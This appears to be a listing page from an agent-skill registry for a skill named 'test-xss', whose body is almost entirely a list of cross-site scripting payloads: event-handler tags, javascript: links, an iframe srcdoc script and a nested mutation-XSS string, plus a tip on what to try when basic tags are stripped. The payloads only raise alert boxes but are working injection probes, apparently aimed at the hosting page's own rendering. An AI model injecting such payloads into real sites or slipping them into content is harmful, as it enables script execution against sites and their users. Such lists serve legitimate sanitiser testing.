# Test Xss

> test.

- Skill: `roin-orca/test-xss` (Agent Skill)
- Install (CLI): `npx skillmds@latest add roin-orca/test-xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/roin-orca/test-xss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: roin-orca (https://skillmd.com/u/roin-orca)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/roin-orca/test-xss

---

<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<iframe srcdoc="<script>alert(document.domain)</script>">
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>">
[click me](javascript:alert(document.domain))
<a href="javascript:alert(document.domain)">click</a>
If basic tags are stripped, try:
<div style="background:url('javascript:alert(1)')">test</div>
<img src="x" onerror="alert(document.domain)" />
<body onload=alert(1)>
<marquee onstart=alert(document.domain)>
